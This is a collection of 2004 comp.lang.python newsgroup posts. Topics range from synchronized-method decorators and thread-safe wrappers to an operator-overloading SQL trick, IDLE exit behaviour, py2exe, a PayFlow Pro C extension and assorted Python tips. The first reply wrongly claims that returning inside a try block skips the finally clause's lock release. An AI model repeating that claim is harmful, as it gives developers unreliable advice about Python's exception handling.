Max Ischenko <max at ucmg.com.ua.remove.it> wrote in message news:<c0a1mt$v79$1 at hyppo.gu.net>...
> Hi,
> 
> I wrote simple implementation of the "synchronized" methods (a-la Java), 
> could you please check if it is OK:
> 
> def synchronized(method):
> 
>      """
>      Guards method execution, similar to Java's synchronized keyword.
> 
>      The class which uses this method, is required to have a
>      L{threading.Lock} primitive as an attribute named 'lock'.
>      """
> 
>      def wrapper(self, *args):
>          self.lock.acquire()
>          try:
>              return method(self, *args)
>          finally:
>              self.lock.release()
>      return wrapper

Under normal execution the lock will not be released because you return
from the try clause. There is also the case that method isn't defined.

Someone else was asking about this sort of thing back the end of January.
The post is included below. As much as doing this sort of thing may sound
like a good way of handling synchronisation, it still has its problems.

gagenellina at softlab.com.ar (Gabriel Genellina) wrote in message news:<946d2ebc.0401301753.5bbe87c5 at posting.google.com>...
> Hello!
> 
> I have a number of objects that are not thread-safe - no locking
> mechanism was originally provided.
> But I want to use them in a thread-safe way. I don't want to analyze
> each class details, looking for where and when I must protect the
> code. So I wrote this sort-of-brute-force locking mechanism using
> threading.RLock() around __getattr__ / __setattr__ / __delattr__.
> The idea is that *any* attribute and method access is protected by the
> lock. The calling thread may acquire the lock multiple times, but
> other threads must wait until it is released.
> This may be too much restrictive, and a bottleneck in performance,
> since *all* accesses are effectively serialized - but it's the best I
> could imagine without deeply analyzing the actual code.
> I *think* this works well, but since I'm not an expert in these
> things, any comments are welcome. Specially what could go wrong, if
> someone could anticipate it.
> Note: As written, this only works for old-style classes. I think that
> just by adding a similar __getattribute__ would suffice for new-style
> classes too - is that true?

A few problems that I can see. First is that this only protects access to
the reference to the data in question. Imagine that the data value
is a dictionary. If I understand it correctly, two different threads
could still get a reference to the same dictionary and then independently
start modifying the dictionary at the same time. This is because you are
then dealing with the dictionary directly and your locks aren't involved
at all.

Second is that it isn't always sufficient to lock at the level of individual
attributes, instead it sometimes necessary to lock on a group of attributes
or even the whole object.  This may be because a thread has to be able
to update two attributes at one time and know that another thread will
not change one of them while it is modifying the other.

One hack I have used is always ensuring that access to an object is
through its functional interface and then locking at the level of
function calls. That is provide additional member functions called
lockObject and unlockObject which operate the thread mutex. When
using the class then have:

  object.lockObject()
  object.someFunc1()
  object.someFunc2()
  object.etc()
  object.unlockObject()

This can sort of be automated a bit by having:

class _SynchronisedMethod:

  def __init__(self,object,name):
    self._object = object
    self._name = name
  
  def __getattr__(self,name):
    return _SynchronisedMethod(self._object,"%s.%s"%(self._name,name))

  def __call__(self,*args):
    try:
      self._object.lockObject()
      method = getattr(self._object,self._name)
      result = apply(method,args)
      self._object.unlockObject()
    except: 
      self._object.unlockObject()
      raise
    return result

class _SynchronisedObject:

  def __init__(self,object):
    self._object = object

  def __getattr__(self,name):
    return _SynchronisedMethod(self._object,name)

You can then say:

  sync_object = _SynchronisedObject(object)

  sync_object.someFunc1()
  sync_object.someFunc2()
  sync_object.etc()

Although this avoids the explicit calls to lock the object, it still isn't the
same thing. This is because in the first example, the lock was held across
multiple function calls whereas in the second case it is only held for a
single call. Thus something like the following could fail:

  if sync_object.dataExists():
    sync_object.getData()

This is because something could have taken the data between the time
the check for data was made and when it was obtained.

Thus automating it like this isn't foolproof either. The closest you will
probably get to a quick solution is to have the lock/unlock functions
for the object and change any code to use them around any sections of
code which you don't want another thread operating on the class at
the same time. You may even have to hold locks on multiple objects
at the same time to ensure that things don't get stuffed up.

Thus it isn't necessarily a simple task to add threading support after
the fact. You probably will have no choice but to analyse the use of
everything and work out to correctly implement locking or even change
the functional interface a bit so functions can be atomic in themselves.
Ie., rather than having to check if data exists before first getting it,
you just try and get it and either rely on an exception or have the
thread wait until data is there.


From jcarlson at nospam.uci.edu  Sun Feb  1 14:35:15 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 11:35:15 -0800
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
In-Reply-To: <2da21d6c.0401311649.51a73403@posting.google.com>
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvgs76$i30$1@news.service.uci.edu>
	<2da21d6c.0401311649.51a73403@posting.google.com>
Message-ID: <bvjkhq$dkl$1@news.service.uci.edu>

>>Hey Stan,
>>
>>I don't suppose you'd post a link to a bit of demo output?
>>
>>  - Josiah
> 
> 
> Hi Josiah,
> I don't leave the demo output on the web.  For me to temporarily post
> it for you to look at, we'd first have to go through a dance that would
> involve your signing a non-disclosure.   Over the next couple of days,
> I'll send you some more information privately about what I'm working on,
> and you can decide whether you want to take it further.

Stan,

Don't worry about it.  I was just curious to know what it was about, 
beyond "still and moving image manipulation".  I love screenshots.  I 
also have limited experience in many of the requirements that you have, 
and am in California working on my own PhD in algorithmic theory, so 
that whole Pennsylvania thing is out of the question.

Good luck to you though,
  - Josiah


From fumanchu at amor.org  Sun Feb 22 19:09:11 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 22 Feb 2004 16:09:11 -0800
Subject: derivation: sick Python trick of the week
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D89@opus.amorhq.net>

WARNING:

The following is NOT all Pythonic. However, it is Python. This is just
fun--nothing I'm going to put into production. I don't have any
questions or problems--just thought I'd share.


BACKGROUND:

I've been playing around for a couple of days with parsing and
derivation ("unparsing"). My goal was and is to take snippets of Python
code and turn them into "equivalent" SQL statements. For example, the
Python snippet:

x.Group > 3 or x.Name == 'fumanchu'

...should equate to an SQL WHERE clause like:

Group > 3 or Name = 'fumanchu'

I tore into the compiler package, and hacked together a solution which
does just that. One invokes such a task with code like:

sqlstmt = derive.ADODeriver().evaluate("x.Group > 3 or x.Name ==
'fumanchu'")

However, it's parsing the output of a compiler.Transformer, which itself
is parsing an AST (lots of nested tuples), so it's not very quick. 1000
repetitions of the above example take over 1/2 second to run on my
laptop.


IT'S ALIVE!!!

In a fit of mad-scientist genius (get out the pitchforks and torches), I
wondered if it might be faster to let Python do *all* the parsing, and
just watch it work and take notes. That's what the code below does. The
sick and twisted part is how one invokes this technique:

>>> import sick_derive
>>> x = sick_derive.Expression()
>>> (x.a == 3) & ((x.b > 1) | (x.b < -10))
>>> x
['a', 3, <built-in function eq>, 'b', 1, <built-in function gt>, 'b',
-10, <built-in function lt>, <built-in function or_>, <built-in function
and_>]
>>> sick_derive.Deriver().derive(x)
'((a == 3) and ((b > 1) or (b < -10)))'

Yes, in line two we run comparisons and boolean operations on
non-existent attributes of x, and discard the results! Sick. However, we
were keeping track (as the repr of x shows on line 3); we built a
postfix list of the comparisons we performed. When we call
Deriver().derive(x), the Deriver traverses that list and rebuilds the
Python code. I made a similar ADODeriver which builds SQL code (too
complex to include here; it also used a different Adapter for the
object-to-DB mapper).

I had to replace boolean 'and' and 'or' with binary calls in order to
override them, and 'not' with 'neg'. That makes it even sicker. And it's
*far* from obvious that 'x.a' should reduce to just 'a'.

But it's about 7 times as fast as the first solution. ;)


So for a host of reasons, don't ever use this. I won't. But it was
interesting.


Robert Brewer
MIS
fumanchu at amor.org


---- sick_derive.py ----

import operator


def containedby(a, b):
    """Return the outcome of the test a in b. Note the operand order."""
    return a in b

def startswith(a, b):
    """Return True if string starts with the prefix, otherwise return
False."""
    return a.startswith(b)

def endswith(a, b):
    """Return True if the string ends with the suffix, otherwise return
False."""
    return a.endswith(b)


class Operand(object):
    """Push atoms onto a postfix expression stack."""
    def __init__(self, expr, name=''):
        self.expr = expr
        self.name = name
    
    def __neg__(self):
        self.expr.append(operator.not_)
        return Operand(self.expr)
    
    def __lt__(self, other):
        self.expr.extend([self.name, other, operator.lt])
        return Operand(self.expr)
    
    def __le__(self, other):
        self.expr.extend([self.name, other, operator.le])
        return Operand(self.expr)
    
    def __eq__(self, other):
        if self.name:
            self.expr.extend([self.name, other, operator.eq])
        else:
            self.expr.extend([other, operator.eq])
        return Operand(self.expr)
    
    def __ne__(self, other):
        self.expr.extend([self.name, other, operator.ne])
        return Operand(self.expr)
    
    def __ge__(self, other):
        self.expr.extend([self.name, other, operator.ge])
        return Operand(self.expr)
    
    def __gt__(self, other):
        self.expr.extend([self.name, other, operator.gt])
        return Operand(self.expr)
    
    def __and__(self, other):
        self.expr.append(operator.and_)
        return Operand(self.expr)
    
    def __or__(self, other):
        self.expr.append(operator.or_)
        return Operand(self.expr)
    
    def __contains__(self, other):
        self.expr.extend([self.name, other, operator.contains])
        return Operand(self.expr)
    
    def contains(self, other):
        self.expr.extend([self.name, other, operator.contains])
        return Operand(self.expr)
    
    def containedby(self, other):
        self.expr.extend([self.name, other, containedby])
        return Operand(self.expr)
    
    def startswith(self, other):
        self.expr.extend([self.name, other, startswith])
        return Operand(self.expr)
    
    def endswith(self, other):
        self.expr.extend([self.name, other, endswith])
        return Operand(self.expr)


class Expression(list):
    """A postfix recorder and evaluator for operations on arbitrary
objects."""
    
    unaries = (operator.not_, )
    binaries = (operator.and_,
                operator.or_,
                operator.lt,
                operator.le,
                operator.eq,
                operator.ne,
                operator.gt,
                operator.ge,
                operator.contains,
                containedby,
                startswith,
                endswith,
                )
    
    def __getattr__(self, name):
        return Operand(self, name)
    
    def evaluate(self, obj, ifEmpty=True):
        """Evaluate an object against self.
        Names will be looked up in the object's attribute dictionary.
        """
        stack = self[:]
        if not stack:
            return ifEmpty
        
        def operate():
            op = stack.pop()
            if op in self.unaries:
                a = operate()
                return op(a)
            elif op in self.binaries:
                b = operate()
                a = operate()
                if a not in (True, False):
                    a = getattr(obj, a)
                return op(a, b)
            else:
                return op
        return operate()


class Adapter(object):
    """Transform values according to their type."""
    
    def __init__(self):
        self.default_processor = repr
        self.processors = {}
    
    def process(self, value):
        try:
            xform = self.processors[type(value)]
        except KeyError:
            xform = self.default_processor
        return xform(value)


class Deriver(object):
    """Derive an Expression according to a grammar."""
    
    def __init__(self, adapter=Adapter()):
        f = adapter.process
        self.unaries = {operator.not_: lambda x: "(not %s)" % x}
        self.binaries = {operator.and_: lambda x, y: "(%s and %s)" % (x,
y),
                         operator.or_: lambda x, y: "(%s or %s)" % (x,
y),
                         operator.lt: lambda x, y: "(%s < %s)" % (x,
f(y)),
                         operator.le: lambda x, y: "(%s <= %s)" % (x,
f(y)),
                         operator.eq: lambda x, y: "(%s == %s)" % (x,
f(y)),
                         operator.ne: lambda x, y: "(%s != %s)" % (x,
f(y)),
                         operator.gt: lambda x, y: "(%s > %s)" % (x,
f(y)),
                         operator.ge: lambda x, y: "(%s >= %s)" % (x,
f(y)),
                         operator.contains: lambda x, y: "(%s in %s)" %
(f(y), x),
                         containedby: lambda x, y: "(%s in %s)" % (x,
f(y)),
                         startswith: lambda x, y: "(%s.startswith(%s))"
% (x, f(y)),
                         endswith: lambda x, y: "(%s.endswith(%s))" %
(x, f(y)),
                         }
        self.ifEmpty = ''
    
    def derive(self, expr):
        try:
            stack = expr[:]
        except TypeError, x:
            x.args += (type(expr), )
            raise x
        
        if not stack:
            return self.ifEmpty
        
        def operate():
            op = stack.pop()
            if op in self.unaries:
                a = operate()
                return self.unaries[op](a)
            elif op in self.binaries:
                b = operate()
                a = operate()
                return self.binaries[op](a, b)
            else:
                return op
        return operate()



From michael at telcopartners.com  Wed Feb 11 14:25:43 2004
From: michael at telcopartners.com (Michael Spencer)
Date: Wed, 11 Feb 2004 11:25:43 -0800
Subject: different string representation (buffer gap)
References: <ddcff747.0402030909.49343c44@posting.google.com>
	<7xr7xbfjbe.fsf@ruckus.brouhaha.com>
	<ddcff747.0402040905.1808c0d5@posting.google.com>
Message-ID: <ALadnXaxDe8uHLfdRVn-sw@comcast.com>


"manders2k" <manders2k_NOSPAM at yahoo.com> wrote in message

[snip]
> What I guess I wish were the case is that I could implement the
> "string interface" on my BufferGap, so that everywhere that Python (at
> the C API level) expects a string, a BufferGap could be used instead.
> That way, all the libraries that inspect and operate on strings would
> work transparently, without having to be recoded (copy / paste, end up
> with a lot of mostly identical, redundant code) to operate on this
> other string representation.  Maybe this just isn't possible with the
> current C-Python implementation.

Have you looked at the mmap standard module?
http://www.python.org/doc/current/lib/module-mmap.html
"Memory-mapped file objects behave like both strings and like file objects.
Unlike normal string objects, however, these are mutable. You can use mmap
objects in most places where strings are expected; for example, you can use
the re module to search through a memory-mapped file"

Michael




From kbk at shore.net  Sun Feb 15 23:31:37 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Mon, 16 Feb 2004 04:31:37 GMT
Subject: Stopping a program
References: <b4a8ffb6.0402151600.70e2c173@posting.google.com>
	<b4a8ffb6.0402151923.7864d228@posting.google.com>
Message-ID: <87y8r3myqe.fsf@hydra.localdomain>

tkpmep at hotmail.com (Thomas Philips) writes:

> A follow up to the question posed above: I discovered sys.exit() and
> played around it. I find that it exhibits different behaviors
> depending on whether the program is run from IDLE or fron the command
> line. In idle, calling sys.exit() gives me a barrage of output that
> starts with
> Traceback (most recent call lat):
> and ends with
> SystemExit: 0

IDLE is designed not to exit when SystemExit is raised.  Currently,
the implementation deliberately shows the exception, rather than just
returning to the command prompt.

> after which I get back to the prompt. However, if the program is run
> from the command line, the window with the command prompt simply
> disappears (most likely after the same barrage flashes across it to
> fast for the eye to follow).

It just exits.

> Is there a variant of sys.exit() that will exit the program
> gracefully to the command prompt in IDLE without bombarding me with
> information that I know to be irrelevant?

>>> answer = " "
>>> while answer not in "yn":
	answer = raw_input("y for yes, n for no, enter to exit: ")
	if answer == "":
		break
	elif answer == "y":
		print 'y'
	elif answer == "n":
		print 'n'

		
y for yes, n for no, enter to exit: a
y for yes, n for no, enter to exit: 
>>>

Just use 'continue', 'break', or 'pass'.  Inside a function, if there
is nothing more to do, use 'return', it's clearer.

-- 
KBK


From usenet_spam at janc.invalid  Sun Feb  1 21:41:21 2004
From: usenet_spam at janc.invalid (JanC)
Date: Mon, 02 Feb 2004 02:41:21 GMT
Subject: JPG - PNG conversion problem
References: <mailman.796.1075125724.12720.python-list@python.org>
	<4wbTb.104084$f97.62358@fe3.columbus.rr.com>
	<bvjjcs$1e3g$1@ns.felk.cvut.cz>
	<mailman.1107.1075668824.12720.python-list@python.org>
Message-ID: <Xns94832579C9FC7JanC@213.119.4.35>

Dietrich Epp <dietrich at zdome.net> schreef:

> Er, BMP is uncompressed,

... or RLE compressed.

<http://www.faqs.org/faqs/graphics/fileformats-faq/part3/section-18.html>

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From mmalater at nycap.rr.com  Sun Feb 15 14:40:27 2004
From: mmalater at nycap.rr.com (Mathieu Malaterre)
Date: Sun, 15 Feb 2004 19:40:27 GMT
Subject: Simple addition
Message-ID: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>

Hi,

    I tried a simple addition with python and I don't understand what is 
going on:

$python
 >>464.73+279.78
744.50999999999999

weird isn't it ? I use python2.3.

comments welcome
Mathieu


From llothar at web.de  Sun Feb  8 21:05:14 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 18:05:14 -0800
Subject: JPG Image Load,Resize,Save with 100% Python?
References: <c05dj3$q37$04$1@news.t-online.com>
Message-ID: <6ee58e07.0402081805.4cc5df7b@posting.google.com>

Ingo Linkweiler <i.linkweiler at web.de> wrote in message news:<c05dj3$q37$04$1 at news.t-online.com>...
> Hello,
> 
> I am looking for a 100% python lib/script which can load a jpg image, 
> detect its size, resize and save it as new file.
> 
> I have found some tools (like PIL), but all of them use ImageMagic or 
> external dlls, which can not be used on my web server.
> 
> I hope you can help me.
> 
> Ingo

There is nothing like this. 

Because this is a task that can't be done in Python well. 
You must expect it to be around 140 times (thats 14000%) slower then a
C library thats why nobody wants to do it.


From wstandley at netpv.com  Tue Feb 17 09:16:41 2004
From: wstandley at netpv.com (Will)
Date: Tue, 17 Feb 2004 14:16:41 GMT
Subject: Is there Multi-media support in Python ?
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
	<lln2lqf7.fsf@python.net>
Message-ID: <dnpYb.47098$Bb.750868@twister.tampabay.rr.com>

Thomas,

I'll check out your & DH's suggestions. I was hoping for a clean easy to do
this.

DH mentioned that someone was working on this... any idea who?

Doing it on the net is not an option we want to consider now for a varity of
reasons.

Thanks for the help - I will check out your suggestions.

Will

"Thomas Heller" <theller at python.net> wrote in message
news:lln2lqf7.fsf at python.net...
> "Will" <wstandley at netpv.com> writes:
>
> > Is there multi-media support in Python? So I can...
> >
> > 1 - play video in all the standard formats... windows & Mac?
> > 2 - play flash files
> > 3 - Power Point
> > 4 - Standard graphic formats
> > 5 - Sound in all the standard formats
> > 6 - etc
> >
> > Please note requirements: And, on video's, flash files, Power Point,
Graphic
> > files, I need to have those show within my programs "window" along with
some
> > other text... so I need to be able to size the video and locate it in
the
> > window... so if the program simply pop's up the Windows Media Player or
> > QuickTime or whatever as a separate window... no good... it all needs to
be
> > integrated into a single window along with text and other stuff...
> >
> > If so, is it in the standard release or has someone created a module
just
> > for multi-media integration?
>
> Well, maybe pygame contains something like this.
>
> OTOH, there's Henk Punt's venster library, which is based on the ctypes
> module. (If you use windows you may want to look into ctypes anyway - it
> allows to make windows api calls even when they are not wrapped by Mark
> Hammond's win32all extensions.)
>
> venster contains samples which embed the internet explorer webbrowser
> control in a window, it can has a sample which plays flash files in a
> window, and it shows how to embed the windows media player.
>
> You can probably to something similar using the pythonwin application
> framework in win32all (oh, wait, the official name is now pywin32) which
> is based on a python wrapping of the mfc.
>
> Thomas
>




From warlock at eskimo.com  Sun Feb 22 01:54:25 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Sat, 21 Feb 2004 22:54:25 -0800
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
	<t32hg1-u8n.ln1@grendel.myth> <c15foq$css$1@news.service.uci.edu>
	<bnjig1-3ku.ln1@grendel.myth> <c16vdg$87n$2@news.service.uci.edu>
	<ddejg1-8td.ln1@grendel.myth>
Message-ID: <1a0mg1-89s.ln1@grendel.myth>

On Fri, 20 Feb 2004 23:36:45 -0800,
 Jim Richardson <warlock at eskimo.com> wrote:
>
> On Fri, 20 Feb 2004 22:53:10 -0800,
>  Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
>>> It was the http auth, which for some reason, show up from time to time,
>>> may be a misconfigured router/proxy don't know. But this works, although
>>> my brain is still parsing the regexp :) Thank you very much for your
>>> help.
>>
>> It is relatively easy to generate the regular expression by hand, I did. 
>>   But I agree, it is a bit dense if you didn't do it.  I need to pull 
>> out the python docs every time I see a regular expression that I didn't 
>> write.
>>
>>   - Josiah
>
>
> I can parse it if I think hard about what it does :) I guess that means
> that the python interp is smarter than me :) Thanks again. 
>


Oh, and there was a bug! I found a bug! woot!

(hey, I'm not very good at this, It's cool when I fix a bug)

-- 
Jim Richardson     http://www.eskimo.com/~warlock
Do I LOOK like a damn people person?


From theller at python.net  Tue Feb 10 10:40:35 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 10 Feb 2004 16:40:35 +0100
Subject: py2exe 0.5 and multiple utilities
References: <4f0a9fdb.0402100440.70f7ee01@posting.google.com>
	<ptcnhrxg.fsf@python.net>
Message-ID: <k72vhrik.fsf@python.net>

Thomas Heller <theller at python.net> writes:

> miki.tebeka at zoran.com (Miki Tebeka) writes:
>
>> Hello All,
>>
>> I'd like to create several utilities with py2exe and place them all in
>> the same directory.
>> However for each utility py2exe creates a different library.zip.
>
> You can rename library.zip into something else for each utility.

I forgot to say that py2exe has to know about it, so you don't rename
the file after it has been created, instead you specify a
'zipfile="xxxx"' named argument when calling the setup function.

Thomas


From john.burton at jbmail.com  Mon Feb 23 13:41:02 2004
From: john.burton at jbmail.com (John Burton)
Date: Mon, 23 Feb 2004 18:41:02 +0000
Subject: How to code a series of alternatives
In-Reply-To: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
References: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
Message-ID: <e7upg1-q5m.ln1@neon.jbmail.com>

Scott F wrote:
> testvar = bob
> 
> # Trial A: This does not work
> if testvar == ("fred" or "bob):
>     statements
> 
> # Trial B: This does work
> if textvar == "fred" or textvar == "bob":
>     statements
> 
> 
> Trial B is OK for 1 or 2 tests, but gets messy for 5 or 6.  What is the 
> variation of Trial A that will work?  

if testvar in ["fred", "bob"]:
     statements


From mark at mceahern.com  Mon Feb  2 08:55:40 2004
From: mark at mceahern.com (Mark McEahern)
Date: Mon, 02 Feb 2004 07:55:40 -0600
Subject: Add PayFlow Pro wrapper to standard library?
Message-ID: <1075730140.27914.271.camel@dev.internal>

I just wrote a very simple wrapper for the PayFlow Pro SDK (see below).

A friend of mine did this before, but I didn't have access to his
source, so I took it as a learning opportunity for me to write a C
wrapper.  I did a little searching to see whether anyone had done
anything like this for Python.  I didn't find anything.

I did find that PHP comes with an extension for PayFlow Pro that you can
compile into the language:

  http://www.phpbuilder.com/manual/ref.pfpro.php

This inspired me to imagine something similar being added to Python's
standard library.  The basic idea:  This would mean someone like me
wouldn't have to reinvent the wheel over and over.  Do other folks use
Python for payment processing?  Do they use something other than
Verisign?  Verisign--with all its warts--is particularly nice because it
supports recurring billing, which means I don't have to store the credit
card number, I just setup a recurring billing profile and they do the
recurring billing.  You can't beat that.

I'd be willing to do most of the work, but I'm probably going to need
help.

What I imagine is there would be a pure Python module that provides a
high level interface to process transactions like this:

  import pfpro
  result = pfpro.process(details)

This will then use a C wrapper to call the PayFlow Pro dynamic library.

The Python wrapper would also support using the context functions:

  import pfpro
  context = pfpro.context(details)
  for tx in transactions:
    tx.result = context.process(tx.details)
  
  # context's __del__ could handle destroying itself, etc.

What's the next step?  I don't know since I've never been involved in
adding anything to the standard library.

Further, I can imagine Zope/CMF/Plone wrappers on top of this too.

Thanks,

// m

p.s.  Here's the code; consider it 0.0.0.1.  ;-)

# setup.py

"""
Before you run this, you need to:

1.  Copy the dynamic library from the PayFlow Pro SDK for your
    platform to /usr/local/lib.

2.  Copy the pfpro.h from the PayFlow Pro SDK for your platform
    to /usr/local/include.

TODO:

- For Windows, there's a COM server--use that or use the dynamic
  library?

- Add a pure Python module "on top" of the C wrapper.
"""

from distutils.core import setup, Extension

pfpro = Extension('pfpro',
                  sources = ['pfpromodule.c'],
                  libraries = ['pfpro'],
                  runtime_library_dirs = ['/usr/local/lib'],
                  include_dirs = ['/usr/local/include'])

setup (name = 'pfpro',
       version = '1.0',
       description = 'PayFlowPro',
       ext_modules = [pfpro])

# pfpromodule.c

#include <Python.h>
#include <string.h>
#include "pfpro.h"

/* This is very, very raw. */

static PyObject *ErrorObject;

static PyObject *
pfpro_process(PyObject *self, PyObject *args)
{
  int      ok;
  char     *server;
  int      port;
  int      timeout;
  char     *proxyAddress	    = NULL;
  int      proxyPort		    = 0;
  char     *proxyLogon		= NULL;
  char     *proxyPassword	= NULL;
  int      context;
  char     *request;
  int      requestLength;
  char     *response;
  PyObject *returnValue;

  ok = PyArg_ParseTuple(args, "siis", &server, &port, &timeout,
&request);

  if (pfproInit()) {
    // "raise"
    return Py_BuildValue("i", 1);
  }

  if (pfproCreateContext(&context, server, port, timeout, proxyAddress, 
                         proxyPort, proxyLogon, proxyPassword)) {
    // "raise"
    return Py_BuildValue("i", 2);
  }

  requestLength = strlen(request);
  pfproSubmitTransaction(context, request, requestLength, &response);
  returnValue = Py_BuildValue("s", response);
  pfproCompleteTransaction(response);
  pfproDestroyContext(context);
  pfproCleanup();

  return returnValue;
}

static PyMethodDef pfpro_methods[] = {
  {"process",  pfpro_process, METH_VARARGS,
   "Process a PayFlowPro transaction and return the result."},
  {NULL, NULL, 0, NULL}        /* Sentinel */
};

static char pfpro_module_documentation[] = 
"pfpro - Python wrapper for the PayFlowPro library."
;

void 
initpfpro()
{
  PyObject *m, *d;

  /* Create the module and add the functions */
  m = Py_InitModule4("pfpro", 
                     pfpro_methods,
                     pfpro_module_documentation,
                     (PyObject*)NULL, 
                     PYTHON_API_VERSION);

  /* Add some symbolic constants to the module */
  d = PyModule_GetDict(m);
  ErrorObject = PyString_FromString("pfpro.error");
  PyDict_SetItemString(d, "error", ErrorObject);

  /* XXXX Add constants here */
	
  /* Check for errors */
  if (PyErr_Occurred())
    Py_FatalError("can't initialize module pfpro");
}

# test.py
#!/usr/bin/env python

import pfpro

username = # your username
password = # your password
cardExpiration = '1209'
cardNumber = '5105105105105100'
amount = '1.00'

values = {'VENDOR': username,
          'TRXTYPE': 'S',
          'ExpDate': cardExpiration,
          'PWD': password,
          'USER': username,
          'ACCT': cardNumber,
          'TENDER': 'C',
          'PARTNER': 'verisign',
          'AMT': amount}

server = 'test-payflow.verisign.com'
port = 443
timeout = 10

request = '&'.join(['%s=%s' % (k, v) for k, v in values.iteritems()])
response = pfpro.process(server, port, timeout, request)
print response





From rainerd at eldwood.com  Tue Feb 24 23:37:34 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Wed, 25 Feb 2004 04:37:34 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<t6Q_b.4504$ee3.293168@news20.bellglobal.com>
Message-ID: <iEV_b.402113$na.788103@attbi_s04>

Sean Ross wrote:
> """
> obj.freeze -> obj
>
> Prevents further modifications to obj. A TypeError will be raised if
> modification is attempted. There is no way to unfreeze a frozen
> object. See also Object#frozen? .
> """

An interesting idea.  This would also allow other mutable types such as
dictionaries to be used as dictionary keys.  I'm not sure if I like it, but
I am sure that I am not happy with the current list/tuple situation.

An alternate approach would be for the dictionary to lock the key objects
when they are inserted and unlock them when they are removed.  Another would
be for dictionaries to keep a private copy of their keys.


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From pruebauno at latinmail.com  Sun Feb 22 17:05:25 2004
From: pruebauno at latinmail.com (nnes)
Date: 22 Feb 2004 14:05:25 -0800
Subject: Some source code
References: <d8778a53.0402212014.7a292318@posting.google.com>
	<c1adgj$qgl$1@atlantis.news.tpi.pl>
Message-ID: <d8778a53.0402221405.60e73476@posting.google.com>

Adam Przybyla <adam at gliwice.pl> wrote in message news:<c1adgj$qgl$1 at atlantis.news.tpi.pl>...
> nnes <pruebauno at latinmail.com> wrote:
> > file('output.txt','w').writelines(['%s,"%s"\n' % (line[:-1],
> >     sum(map(int,line[1:-2].split('","')))) for line in
> >     file('input.txt')])
> file('output.txt','w').writelines(['%s,"%s"\n' % 
>       (line[:-1],sum(eval(line[1:-2]))) for line in file('input.txt')])
> Regards
> 								Adam Przybyla
You mean:

file('output.txt','w').writelines(['%s,"%s"\n' % (line[:-1],
    sum(eval(line[1:-2].replace('"','')))) for line in file('input.txt')])

input.txt in the form of:
"1","2","3"
"4","5","6"

And both versions are exactly 132 bytes long. It is a draw :-P


From guettli at thomas-guettler.de  Thu Feb 12 11:17:48 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 12 Feb 2004 17:17:48 +0100
Subject: correct way of running a sub-process
References: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>
Message-ID: <pan.2004.02.12.16.17.48.957440@thomas-guettler.de>

Am Thu, 12 Feb 2004 06:10:01 -0800 schrieb Daniel Timothy Bentley:

> What is the (hopefully unique) obvious way of runnign a sub-process if I
> want to get the exit code and input without resorting to multi-threading?
> 
> It seems like I should be able to do the following:
> 
> foo = popen2.Popen3(cmd)
> foo.wait()
> foo.fromchild.read()

I do it like this:

def shell_command(cmd):
    # There mustnot be output to stdout or stderr
    # otherwise an exception is raised

    p=popen2.Popen4(cmd) # read stdout and stderr
    output=p.fromchild.read()
    ret=p.wait()
    if ret or output:
        raise("Error in shell_command '%s': ret=%s output='%s'" %(
            cmd, ret, output))




From nospam-deets at web.de  Thu Feb 19 11:52:50 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 19 Feb 2004 17:52:50 +0100
Subject: Reading file error
References: <mailman.67.1077203693.27104.python-list@python.org>
Message-ID: <c12pqf$1cv542$1@ID-111250.news.uni-berlin.de>

> 
> Can someone help ??

Whats diff telling on those two files? And - to me it looks like more of a
fortran problem, anyway.

-- 
Regards,

Diez B. Roggisch


From aahz at pythoncraft.com  Thu Feb  5 12:33:32 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 12:33:32 -0500
Subject: Modules, namespaces, parents, and import
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
	<1022p0elv2vsd98@corp.supernews.com>
	<bvthbd$n6a$1@panix2.panix.com>
	<1024qhk5i05nu8c@corp.supernews.com>
Message-ID: <bvtupc$90p$1@panix2.panix.com>

In article <1024qhk5i05nu8c at corp.supernews.com>,
R Baumann <rynt at 9yahoo.com> wrote:
>"Aahz" <aahz at pythoncraft.com> wrote in message
>news:bvthbd$n6a$1 at panix2.panix.com...
>> In article <1022p0elv2vsd98 at corp.supernews.com>,
>> R Baumann <rynt at 9yahoo.com> wrote:
>>>
>>>Just a for instance -- Let's suppose that I had a fairly large
>>>"configuration loader" module that is used once in an application, and
>>>is never called upon again.  Why not "unload" or "release" that module
>>>from the interpreter's workspace, freeing up that chunk of memory?  If
>>>there's no need to use the module again, there's no need to keep it in
>>>memory, right?
>>
>> What is "fairly large"?  If you mean that the data it loads is large,
>> but no longer needed after initalization, it should be simple enough to
>> discard the data -- provided you really don't need it.  If you mean that
>> the code is large, I've got a difficult time imagining a module large
>> enough to make a different to a Python application on a typical modern
>> machine.
>
>Yes, I meant the code.  However, if you don't think this is a problem,
>I won't worry about it.  Do you have any idea what the limits are to
>Python in regards to large applications in the 20-30MB range.  I would
>probably suppose the answer is "there is no problem". :-)

I've never heard of an *application* that large.  100kLOC is considered
a large Python application, and even at an average fifty characters per
line, that's still only 5MB.
-- 
